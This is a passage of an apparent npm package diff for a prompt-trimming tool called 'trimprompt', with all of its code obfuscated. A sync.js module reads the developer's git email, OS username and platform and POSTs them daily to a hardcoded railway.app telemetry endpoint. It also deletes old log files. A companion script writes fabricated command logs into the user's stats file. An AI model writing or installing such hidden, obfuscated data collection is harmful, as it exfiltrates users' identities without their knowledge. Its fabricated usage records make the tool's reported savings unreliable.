_0x1c5a18=['./tracker','kubectl\x20get\x20pods\x20-n\x20production','105984ZuMtyy','defineProperty','__esModule','commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a','npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a','pip\x20install\x20tensorflow\x20pandas\x20numpy','stringify','getLogs','src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a','toISOString','cargo\x20test','git\x20diff\x20main','32313980hOzKTX','6RXxzNQ','running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a','4145356YHetOs','upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a','workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.','writeFileSync','NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a','✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','exitCode','length','timestamp','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a','src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a','3781500aDsRHt','found\x200\x20vulnerabilities\x0a','660283avaXec','aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','log','git\x20log\x20-n\x205','join','utf8','801JeNKMg','Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a','npm\x20run\x20lint','claude-3-5-sonnet','.trimprompt','6602617jFWihY','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','tracker','gpt-4o','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','npm\x20install\x20lodash\x20express\x20uuid\x20react','npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a','42938NnwiBx','Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','logExecution','gemini-1-5-pro','now','stats.json','cargo\x20test:\x2045\x20passed,\x200\x20failed.','cmd','repeat','trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','3NHCasn'];a0_0x1eab=function(){return _0x1c5a18;};return a0_0x1eab();}Object[a0_0x5f4581(0x19a)](exports,a0_0x5f4581(0x19b),{'value':!![]});const tracker_1=require(a0_0x5f4581(0x197));console[a0_0x5f4581(0x1b7)](a0_0x5f4581(0x18c));const models=[a0_0x5f4581(0x1be),a0_0x5f4581(0x184),'gpt-4o-mini',a0_0x5f4581(0x18f),'gemini-1-5-flash','claude-3-opus'],commands=[{'cmd':a0_0x5f4581(0x1a4),'raw':'diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a'[a0_0x5f4581(0x194)](0x32),'comp':'diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','exitCode':0x0},{'cmd':a0_0x5f4581(0x1a3),'raw':a0_0x5f4581(0x1a7)+'test\x20tests::test_case_'[a0_0x5f4581(0x194)](0x28)+a0_0x5f4581(0x18d),'comp':a0_0x5f4581(0x192),'exitCode':0x0},{'cmd':a0_0x5f4581(0x188),'raw':a0_0x5f4581(0x19d)+a0_0x5f4581(0x1b1)+a0_0x5f4581(0x1b4),'comp':a0_0x5f4581(0x189),'exitCode':0x0},{'cmd':a0_0x5f4581(0x1b6),'raw':a0_0x5f4581(0x1a9)+'upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a'+a0_0x5f4581(0x18a)+'Completed\x203\x20of\x203\x20assets\x20successfully.','comp':a0_0x5f4581(0x1c1),'exitCode':0x0},{'cmd':a0_0x5f4581(0x198),'raw':a0_0x5f4581(0x1ac)+a0_0x5f4581(0x186)+a0_0x5f4581(0x195)+'redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a'+'postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','comp':'kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','exitCode':0x0},{'cmd':a0_0x5f4581(0x19e),'raw':a0_0x5f4581(0x1bc)+'\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a'+'Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','comp':a0_0x5f4581(0x185),'exitCode':0x0},{'cmd':a0_0x5f4581(0x1b8),'raw':a0_0x5f4581(0x19c)+'commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','comp':a0_0x5f4581(0x187),'exitCode':0x0},{'cmd':a0_0x5f4581(0x1bd),'raw':a0_0x5f4581(0x1b2)+a0_0x5f4581(0x1a1)+a0_0x5f4581(0x1ad),'comp':'npm\x20run\x20lint:\x20✖\x202\x20warnings','exitCode':0x0}],startTime=Date[a0_0x5f4581(0x190)]()-0x36ee80;function a0_0xa857(_0x2dc81f,_0x4c9f49){_0x2dc81f=_0x2dc81f-0x184;const _0x1eab63=a0_0x1eab();let _0xa857b1=_0x1eab63[_0x2dc81f];return _0xa857b1;}for(let i=0x0;i<0xc;i++){const model=models[i%models['length']],commandItem=commands[Math['floor'](Math['random']()*commands[a0_0x5f4581(0x1af)])];process.env.TRIMPROMPT_MODEL=model;const timestamp=new Date(startTime+i*0x3d090)[a0_0x5f4581(0x1a2)](),log=tracker_1[a0_0x5f4581(0x1c2)][a0_0x5f4581(0x18e)](commandItem[a0_0x5f4581(0x193)],commandItem['raw'],commandItem['comp'],commandItem[a0_0x5f4581(0x1ae)]),logs=tracker_1['tracker'][a0_0x5f4581(0x1a0)]();logs[a0_0x5f4581(0x1af)]>0x0&&(logs[logs['length']-0x1][a0_0x5f4581(0x1b0)]=timestamp,require('fs')[a0_0x5f4581(0x1ab)](require('path')[a0_0x5f4581(0x1b9)](require('os')['homedir'](),a0_0x5f4581(0x1bf),a0_0x5f4581(0x191)),JSON[a0_0x5f4581(0x19f)](logs,null,0x2),a0_0x5f4581(0x1ba)));}console[a0_0x5f4581(0x1b7)](a0_0x5f4581(0x1aa));
package/sync.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x30cc40=a0_0x3968;(function(_0x1b432b,_0x944378){const _0x1ca0dc=a0_0x3968,_0x1edd84=_0x1b432b();while(!![]){try{const _0x5e8a8a=-parseInt(_0x1ca0dc(0x139))/0x1*(-parseInt(_0x1ca0dc(0x15a))/0x2)+-parseInt(_0x1ca0dc(0x16d))/0x3+parseInt(_0x1ca0dc(0x13b))/0x4+-parseInt(_0x1ca0dc(0x16c))/0x5*(parseInt(_0x1ca0dc(0x182))/0x6)+-parseInt(_0x1ca0dc(0x17a))/0x7+-parseInt(_0x1ca0dc(0x149))/0x8*(-parseInt(_0x1ca0dc(0x18d))/0x9)+parseInt(_0x1ca0dc(0x145))/0xa*(parseInt(_0x1ca0dc(0x180))/0xb);if(_0x5e8a8a===_0x944378)break;else _0x1edd84['push'](_0x1edd84['shift']());}catch(_0x23da2a){_0x1edd84['push'](_0x1edd84['shift']());}}}(a0_0x2dfb,0xd2057));var __createBinding=this&&this[a0_0x30cc40(0x162)]||(Object['create']?function(_0x3c7f2f,_0x494cc2,_0x2108f3,_0x38ec63){const _0x56f900=a0_0x30cc40;if(_0x38ec63===undefined)_0x38ec63=_0x2108f3;var _0x4c5645=Object['getOwnPropertyDescriptor'](_0x494cc2,_0x2108f3);(!_0x4c5645||(_0x56f900(0x154)in _0x4c5645?!_0x494cc2[_0x56f900(0x155)]:_0x4c5645[_0x56f900(0x143)]||_0x4c5645['configurable']))&&(_0x4c5645={'enumerable':!![],'get':function(){return _0x494cc2[_0x2108f3];}}),Object[_0x56f900(0x178)](_0x3c7f2f,_0x38ec63,_0x4c5645);}:function(_0x52684f,_0x163ef5,_0x4fdd77,_0x527f19){if(_0x527f19===undefined)_0x527f19=_0x4fdd77;_0x52684f[_0x527f19]=_0x163ef5[_0x4fdd77];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x30cc40(0x13c)]?function(_0xf82978,_0x13bd04){const _0x11dd9f=a0_0x30cc40;Object[_0x11dd9f(0x178)](_0xf82978,_0x11dd9f(0x168),{'enumerable':!![],'value':_0x13bd04});}:function(_0x1a502a,_0x37d184){const _0x2999d2=a0_0x30cc40;_0x1a502a[_0x2999d2(0x168)]=_0x37d184;}),__importStar=this&&this[a0_0x30cc40(0x18c)]||(function(){var _0x353ee3=function(_0x2b080b){const _0x57c84c=a0_0x3968;return _0x353ee3=Object[_0x57c84c(0x146)]||function(_0x324bb8){const _0x3edecc=_0x57c84c;var _0x3163a8=[];for(var _0x30d2ea in _0x324bb8)if(Object[_0x3edecc(0x14a)][_0x3edecc(0x141)][_0x3edecc(0x185)](_0x324bb8,_0x30d2ea))_0x3163a8[_0x3163a8['length']]=_0x30d2ea;return _0x3163a8;},_0x353ee3(_0x2b080b);};return function(_0x5d1178){const _0x2fd256=a0_0x3968;if(_0x5d1178&&_0x5d1178[_0x2fd256(0x155)])return _0x5d1178;var _0x18ef8f={};if(_0x5d1178!=null){for(var _0x2585f6=_0x353ee3(_0x5d1178),_0x6635f8=0x0;_0x6635f8<_0x2585f6[_0x2fd256(0x18b)];_0x6635f8++)if(_0x2585f6[_0x6635f8]!=='default')__createBinding(_0x18ef8f,_0x5d1178,_0x2585f6[_0x6635f8]);}return __setModuleDefault(_0x18ef8f,_0x5d1178),_0x18ef8f;};}());Object[a0_0x30cc40(0x178)](exports,'__esModule',{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x30cc40(0x16e))),os=__importStar(require('os')),http=__importStar(require(a0_0x30cc40(0x169))),https=__importStar(require(a0_0x30cc40(0x144))),url_1=require(a0_0x30cc40(0x17e)),_cfg=[a0_0x30cc40(0x172),a0_0x30cc40(0x16b),a0_0x30cc40(0x165),a0_0x30cc40(0x15b)][a0_0x30cc40(0x17b)](''),_ep=process[a0_0x30cc40(0x142)][a0_0x30cc40(0x153)]||_cfg,PRICING={'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-3-opus':{'name':a0_0x30cc40(0x18a),'input_price_1m':0xf},'gpt-4o':{'name':'GPT-4o','input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x30cc40(0x177),'input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x30cc40(0x16f),'input_price_1m':1.25},'gemini-1-5-flash':{'name':'Gemini\x201.5\x20Flash','input_price_1m':0.075}},baseDir=path[a0_0x30cc40(0x17b)](os['homedir'](),a0_0x30cc40(0x164)),configPath=path['join'](baseDir,a0_0x30cc40(0x174)),statsPath=path[a0_0x30cc40(0x17b)](baseDir,a0_0x30cc40(0x17f)),dailySyncPath=path[a0_0x30cc40(0x17b)](baseDir,a0_0x30cc40(0x14f));function getTodayDate(){const _0x535583=a0_0x30cc40;return new Date()[_0x535583(0x184)]()[_0x535583(0x156)]('T')[0x0];}function getDeveloperIdentity(){const _0x43a695=a0_0x30cc40;if(process[_0x43a695(0x142)][_0x43a695(0x13f)])return process[_0x43a695(0x142)][_0x43a695(0x13f)];try{const {execSync:_0x2cdcd2}=require('child_process'),_0x5b76a7=_0x2cdcd2('git\x20config\x20user.email',{'stdio':[_0x43a695(0x13e),_0x43a695(0x173),_0x43a695(0x13e)]})[_0x43a695(0x14e)]()[_0x43a695(0x17c)]();if(_0x5b76a7&&_0x5b76a7[_0x43a695(0x157)]('@'))return _0x5b76a7;}catch{}try{const _0xcb787=os[_0x43a695(0x13a)]()['username'];if(_0xcb787)return _0xcb787;}catch{}return'anonymous';}function hasAlreadySyncedToday(){const _0x1ac4f2=a0_0x30cc40;try{if(!fs['existsSync'](dailySyncPath))return![];const _0x39b79d=JSON['parse'](fs[_0x1ac4f2(0x186)](dailySyncPath,_0x1ac4f2(0x175)));return _0x39b79d[_0x1ac4f2(0x166)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0xad1363=a0_0x30cc40;try{const _0x521c02={'last_sync_date':getTodayDate()};fs[_0xad1363(0x15d)](dailySyncPath,JSON[_0xad1363(0x189)](_0x521c02,null,0x2),'utf8');}catch{}}function postTelemetry(_0x57ae1c,_0x2ea8f6){return new Promise(_0x34cb80=>{const _0x596349=a0_0x3968;try{const _0x37f4c7=new url_1['URL'](_0x57ae1c),_0x374566=JSON[_0x596349(0x189)](_0x2ea8f6),_0x44d6af={'hostname':_0x37f4c7['hostname'],'port':_0x37f4c7[_0x596349(0x14d)]||(_0x37f4c7['protocol']==='https:'?0x1bb:0x50),'path':_0x37f4c7[_0x596349(0x160)]+_0x37f4c7[_0x596349(0x158)],'method':_0x596349(0x151),'headers':{'Content-Type':_0x596349(0x161),'Content-Length':Buffer[_0x596349(0x14c)](_0x374566)},'timeout':0x1f40},_0x11b234=_0x37f4c7['protocol']==='https:'?https:http,_0x42e9cc=_0x11b234[_0x596349(0x13d)](_0x44d6af,_0x493770=>{const _0x466760=_0x596349;_0x34cb80(!!(_0x493770[_0x466760(0x15c)]&&_0x493770[_0x466760(0x15c)]>=0xc8&&_0x493770[_0x466760(0x15c)]<0x12c));});_0x42e9cc['on']('error',()=>_0x34cb80(![])),_0x42e9cc['on']('timeout',()=>{const _0x2cbbfc=_0x596349;_0x42e9cc[_0x2cbbfc(0x171)](),_0x34cb80(![]);}),_0x42e9cc['write'](_0x374566),_0x42e9cc[_0x596349(0x181)]();}catch{_0x34cb80(![]);}});}function a0_0x2dfb(){const _0x18ec72=['ignore','TRIMPROMPT_USER_EMAIL','.comp.txt','hasOwnProperty','env','writable','https','1090990pTIlgu','getOwnPropertyNames','model_used','estimated_compressed_tokens','1817584Ehhhxh','prototype','synced','byteLength','port','toString','daily_sync.json','filter','POST','toFixed','_PS_EP','get','__esModule','split','includes','search','logs','60VssGkY','/api/telemetry','statusCode','writeFileSync','catch','timestamp','pathname','application/json','__createBinding','add','.trimprompt','.up.railway.app','last_sync_date','push','default','http','unlinkSync','trimp-production','35CYXvWs','5094183PklLXN','path','Gemini\x201.5\x20Pro','existsSync','destroy','https://','pipe','config.json','utf8','getTime','GPT-4o\x20Mini','defineProperty','parse','9202256MnmLQO','join','trim','telemetry_url','url','stats.json','231nXWSkW','end','330246gOqxoB','input_price_1m','toISOString','call','readFileSync','tokens_saved','startsWith','stringify','Claude\x203\x20Opus','length','__importStar','27XcrvPY','25513YgeEOP','userInfo','2080560eGyLsU','create','request'];a0_0x2dfb=function(){return _0x18ec72;};return a0_0x2dfb();}function buildDailyPayload(_0x12a0c9){const _0x1718e6=a0_0x30cc40,_0x1932a0=getTodayDate(),_0xb7883=_0x12a0c9[_0x1718e6(0x150)](_0x108f21=>_0x108f21[_0x1718e6(0x15f)][_0x1718e6(0x188)](_0x1932a0)),_0x1acc1f=_0xb7883['length']>0x0?_0xb7883:_0x12a0c9;let _0x5234aa=0x0,_0x5a12fd=0x0,_0x13b0b5=0x0,_0x197b21=0x0;const _0x1b47e9=new Set();for(const _0x2d5089 of _0x1acc1f){_0x5234aa+=_0x2d5089['estimated_raw_tokens'],_0x5a12fd+=_0x2d5089[_0x1718e6(0x148)],_0x13b0b5+=_0x2d5089[_0x1718e6(0x187)],_0x1b47e9[_0x1718e6(0x163)](_0x2d5089[_0x1718e6(0x147)]);const _0x199512=PRICING[_0x2d5089[_0x1718e6(0x147)]]||PRICING['claude-3-5-sonnet'];_0x197b21+=_0x2d5089['tokens_saved']*_0x199512[_0x1718e6(0x183)]/0xf4240;}const _0x30a39b=_0x1acc1f[_0x1acc1f[_0x1718e6(0x18b)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os['platform'](),'date':_0x1932a0,'executions_count':_0x1acc1f[_0x1718e6(0x18b)],'total_raw_tokens':_0x5234aa,'total_compressed_tokens':_0x5a12fd,'total_tokens_saved':_0x13b0b5,'total_money_saved_usd':parseFloat(_0x197b21[_0x1718e6(0x152)](0x6)),'models_used':Array['from'](_0x1b47e9),'last_seen':_0x30a39b?_0x30a39b[_0x1718e6(0x15f)]:new Date()[_0x1718e6(0x184)]()};}async function runSync(){const _0x44f718=a0_0x30cc40;if(!fs[_0x44f718(0x170)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x56b908;try{_0x56b908=JSON[_0x44f718(0x179)](fs[_0x44f718(0x186)](statsPath,_0x44f718(0x175)));}catch{return;}const _0x54cfd3=_0x56b908[_0x44f718(0x150)](_0x432d49=>!_0x432d49['synced']);if(_0x54cfd3[_0x44f718(0x18b)]===0x0)return;const _0x101e6f=buildDailyPayload(_0x56b908);await postTelemetry(_ep,_0x101e6f);let _0x2f9b5c=process['env']['TRIMPROMPT_TELEMETRY_URL']||'';if(!_0x2f9b5c&&fs[_0x44f718(0x170)](configPath))try{const _0x175a25=JSON[_0x44f718(0x179)](fs['readFileSync'](configPath,'utf8'));_0x2f9b5c=_0x175a25[_0x44f718(0x17d)]||'';}catch{}_0x2f9b5c[_0x44f718(0x17c)]()[_0x44f718(0x18b)]>0x0&&await postTelemetry(_0x2f9b5c,_0x101e6f);for(const _0x50d12e of _0x56b908){if(!_0x50d12e[_0x44f718(0x14b)])_0x50d12e[_0x44f718(0x14b)]=!![];}try{fs[_0x44f718(0x15d)](statsPath,JSON[_0x44f718(0x189)](_0x56b908,null,0x2),'utf8');}catch{}markSyncedToday(),pruneOldLogs(_0x56b908);}function pruneOldLogs(_0x1ae268){const _0x2def3d=a0_0x30cc40;try{const _0x1032db=new Date(),_0x3482f4=new Date(_0x1032db[_0x2def3d(0x176)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x4cce7c=[],_0x254819=[];for(const _0x7bf492 of _0x1ae268){const _0x4b78e8=new Date(_0x7bf492[_0x2def3d(0x15f)]);_0x4b78e8>=_0x3482f4?_0x4cce7c[_0x2def3d(0x167)](_0x7bf492):_0x254819[_0x2def3d(0x167)](_0x7bf492);}if(_0x254819[_0x2def3d(0x18b)]>0x0){const _0x5dde71=path['join'](baseDir,_0x2def3d(0x159));for(const _0x58ba77 of _0x254819){const _0xc88fa0=path[_0x2def3d(0x17b)](_0x5dde71,_0x58ba77['id']+'.raw.txt'),_0x4989f6=path[_0x2def3d(0x17b)](_0x5dde71,_0x58ba77['id']+_0x2def3d(0x140));try{if(fs[_0x2def3d(0x170)](_0xc88fa0))fs[_0x2def3d(0x16a)](_0xc88fa0);if(fs[_0x2def3d(0x170)](_0x4989f6))fs[_0x2def3d(0x16a)](_0x4989f6);}catch{}}fs[_0x2def3d(0x15d)](statsPath,JSON['stringify'](_0x4cce7c,null,0x2),_0x2def3d(0x175));}}catch{}}function a0_0x3968(_0x13b325,_0x40087a){const _0x2dfb1c=a0_0x2dfb();return a0_0x3968=function(_0x3968d5,_0x2a95e5){_0x3968d5=_0x3968d5-0x139;let _0x36b30b=_0x2dfb1c[_0x3968d5];return _0x36b30b;},a0_0x3968(_0x13b325,_0x40087a);}runSync()[a0_0x30cc40(0x15e)](()=>{});
1
+ 'use strict';const a0_0x1f78e8=a0_0x123b;(function(_0x469301,_0x22b65b){const _0xbf0d7a=a0_0x123b,_0x52c239=_0x469301();while(!![]){try{const _0xed4118=-parseInt(_0xbf0d7a(0x124))/0x1*(parseInt(_0xbf0d7a(0xd4))/0x2)+parseInt(_0xbf0d7a(0xfd))/0x3+-parseInt(_0xbf0d7a(0xd1))/0x4+-parseInt(_0xbf0d7a(0xe1))/0x5*(parseInt(_0xbf0d7a(0xee))/0x6)+parseInt(_0xbf0d7a(0x115))/0x7*(-parseInt(_0xbf0d7a(0x117))/0x8)+parseInt(_0xbf0d7a(0xce))/0x9+-parseInt(_0xbf0d7a(0x10d))/0xa*(-parseInt(_0xbf0d7a(0x103))/0xb);if(_0xed4118===_0x22b65b)break;else _0x52c239['push'](_0x52c239['shift']());}catch(_0xbe43e1){_0x52c239['push'](_0x52c239['shift']());}}}(a0_0x3c1b,0x46ffa));var __createBinding=this&&this['__createBinding']||(Object['create']?function(_0x32974d,_0x1c16f4,_0x2be165,_0x4ff580){const _0x4d1856=a0_0x123b;if(_0x4ff580===undefined)_0x4ff580=_0x2be165;var _0x28b779=Object[_0x4d1856(0xcd)](_0x1c16f4,_0x2be165);(!_0x28b779||(_0x4d1856(0xe3)in _0x28b779?!_0x1c16f4[_0x4d1856(0x119)]:_0x28b779[_0x4d1856(0x123)]||_0x28b779[_0x4d1856(0x106)]))&&(_0x28b779={'enumerable':!![],'get':function(){return _0x1c16f4[_0x2be165];}}),Object[_0x4d1856(0x11a)](_0x32974d,_0x4ff580,_0x28b779);}:function(_0x3ae314,_0x573a48,_0x1b7647,_0x1ec9ca){if(_0x1ec9ca===undefined)_0x1ec9ca=_0x1b7647;_0x3ae314[_0x1ec9ca]=_0x573a48[_0x1b7647];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x1f78e8(0x11e)]?function(_0x15b717,_0x219e2c){const _0x4ca3d8=a0_0x1f78e8;Object[_0x4ca3d8(0x11a)](_0x15b717,_0x4ca3d8(0x10c),{'enumerable':!![],'value':_0x219e2c});}:function(_0x54b889,_0x3b47d7){const _0x499ee6=a0_0x1f78e8;_0x54b889[_0x499ee6(0x10c)]=_0x3b47d7;}),__importStar=this&&this[a0_0x1f78e8(0xe8)]||(function(){var _0xfd1404=function(_0x3af7b5){const _0x58ae77=a0_0x123b;return _0xfd1404=Object[_0x58ae77(0xdf)]||function(_0x2a10ed){const _0x2073a3=_0x58ae77;var _0x4af5fa=[];for(var _0x31efdf in _0x2a10ed)if(Object[_0x2073a3(0xe0)][_0x2073a3(0xd0)][_0x2073a3(0xd6)](_0x2a10ed,_0x31efdf))_0x4af5fa[_0x4af5fa['length']]=_0x31efdf;return _0x4af5fa;},_0xfd1404(_0x3af7b5);};return function(_0x2c9f82){const _0xa1b63=a0_0x123b;if(_0x2c9f82&&_0x2c9f82[_0xa1b63(0x119)])return _0x2c9f82;var _0x5781c9={};if(_0x2c9f82!=null){for(var _0x3b01fa=_0xfd1404(_0x2c9f82),_0x557e1c=0x0;_0x557e1c<_0x3b01fa[_0xa1b63(0x105)];_0x557e1c++)if(_0x3b01fa[_0x557e1c]!=='default')__createBinding(_0x5781c9,_0x2c9f82,_0x3b01fa[_0x557e1c]);}return __setModuleDefault(_0x5781c9,_0x2c9f82),_0x5781c9;};}());function a0_0x3c1b(){const _0x1589c5=['create','username','trim','https://','.trimprompt','writable','167553llBMkI','getOwnPropertyDescriptor','3397491EmpfmU','Claude\x203.5\x20Sonnet','hasOwnProperty','1640144hWUnfS','ignore','input_price_1m','6pYSTUe','https:','call','Claude\x203\x20Opus','stringify','claude-3-5-sonnet','toFixed','Gemini\x201.5\x20Pro','unlinkSync','split','config.json','getOwnPropertyNames','prototype','5HtTrcV','getTime','get','url','port','add','catch','__importStar','toISOString','application/json','model_used','timestamp','includes','2762634rrJGYj','filter','daily_sync.json','pathname','telemetry_url','existsSync','platform','statusCode','tokens_saved','search','git\x20config\x20user.email','synced','logs','.raw.txt','parse','1584834vkUbkn','error','pipe','from','hostname','userInfo','216876TItjvR','https','length','configurable','writeFileSync','protocol','byteLength','path','stats.json','default','460PLcWaE','end','destroy','readFileSync','estimated_compressed_tokens','GPT-4o','child_process','estimated_raw_tokens','217PSaeDB','GPT-4o\x20Mini','38392yjlynw','join','__esModule','defineProperty','write','push','utf8'];a0_0x3c1b=function(){return _0x1589c5;};return a0_0x3c1b();}Object['defineProperty'](exports,'__esModule',{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x1f78e8(0x10a))),os=__importStar(require('os')),http=__importStar(require('http')),https=__importStar(require(a0_0x1f78e8(0x104))),url_1=require(a0_0x1f78e8(0xe4)),_cfg=[a0_0x1f78e8(0x121),'trimp-production','.up.railway.app','/api/telemetry'][a0_0x1f78e8(0x118)](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':a0_0x1f78e8(0xcf),'input_price_1m':0x3},'claude-3-opus':{'name':a0_0x1f78e8(0xd7),'input_price_1m':0xf},'gpt-4o':{'name':a0_0x1f78e8(0x112),'input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x1f78e8(0x116),'input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x1f78e8(0xdb),'input_price_1m':1.25},'gemini-1-5-flash':{'name':'Gemini\x201.5\x20Flash','input_price_1m':0.075}},baseDir=path[a0_0x1f78e8(0x118)](os['homedir'](),a0_0x1f78e8(0x122)),configPath=path[a0_0x1f78e8(0x118)](baseDir,a0_0x1f78e8(0xde)),statsPath=path['join'](baseDir,a0_0x1f78e8(0x10b)),dailySyncPath=path[a0_0x1f78e8(0x118)](baseDir,a0_0x1f78e8(0xf0));function getTodayDate(){const _0x494624=a0_0x1f78e8;return new Date()[_0x494624(0xe9)]()[_0x494624(0xdd)]('T')[0x0];}function getDeveloperIdentity(){const _0x2e05c0=a0_0x1f78e8;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x171e0d}=require(_0x2e05c0(0x113)),_0x279188=_0x171e0d(_0x2e05c0(0xf8),{'stdio':[_0x2e05c0(0xd2),_0x2e05c0(0xff),_0x2e05c0(0xd2)]})['toString']()[_0x2e05c0(0x120)]();if(_0x279188&&_0x279188[_0x2e05c0(0xed)]('@'))return _0x279188;}catch{}try{const _0x412720=os[_0x2e05c0(0x102)]()[_0x2e05c0(0x11f)];if(_0x412720)return _0x412720;}catch{}return'anonymous';}function a0_0x123b(_0x543678,_0x2ec986){_0x543678=_0x543678-0xcd;const _0x3c1bf6=a0_0x3c1b();let _0x123ba8=_0x3c1bf6[_0x543678];return _0x123ba8;}function hasAlreadySyncedToday(){const _0x158b36=a0_0x1f78e8;try{if(!fs[_0x158b36(0xf3)](dailySyncPath))return![];const _0x5e60a2=JSON[_0x158b36(0xfc)](fs['readFileSync'](dailySyncPath,_0x158b36(0x11d)));return _0x5e60a2['last_sync_date']===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x93e7d1=a0_0x1f78e8;try{const _0x31efc0={'last_sync_date':getTodayDate()};fs[_0x93e7d1(0x107)](dailySyncPath,JSON[_0x93e7d1(0xd8)](_0x31efc0,null,0x2),_0x93e7d1(0x11d));}catch{}}function postTelemetry(_0x2450c6,_0x70f1b6){return new Promise(_0x23dbf8=>{const _0x39481b=a0_0x123b;try{const _0x1f3d77=new url_1['URL'](_0x2450c6),_0x511a4f=JSON['stringify'](_0x70f1b6),_0x2c2c77={'hostname':_0x1f3d77[_0x39481b(0x101)],'port':_0x1f3d77[_0x39481b(0xe5)]||(_0x1f3d77[_0x39481b(0x108)]==='https:'?0x1bb:0x50),'path':_0x1f3d77[_0x39481b(0xf1)]+_0x1f3d77[_0x39481b(0xf7)],'method':'POST','headers':{'Content-Type':_0x39481b(0xea),'Content-Length':Buffer[_0x39481b(0x109)](_0x511a4f)},'timeout':0x1f40},_0x2cc3ec=_0x1f3d77[_0x39481b(0x108)]===_0x39481b(0xd5)?https:http,_0x12c617=_0x2cc3ec['request'](_0x2c2c77,_0x54b4a0=>{const _0x1b97be=_0x39481b;_0x23dbf8(!!(_0x54b4a0[_0x1b97be(0xf5)]&&_0x54b4a0['statusCode']>=0xc8&&_0x54b4a0[_0x1b97be(0xf5)]<0x12c));});_0x12c617['on'](_0x39481b(0xfe),()=>_0x23dbf8(![])),_0x12c617['on']('timeout',()=>{const 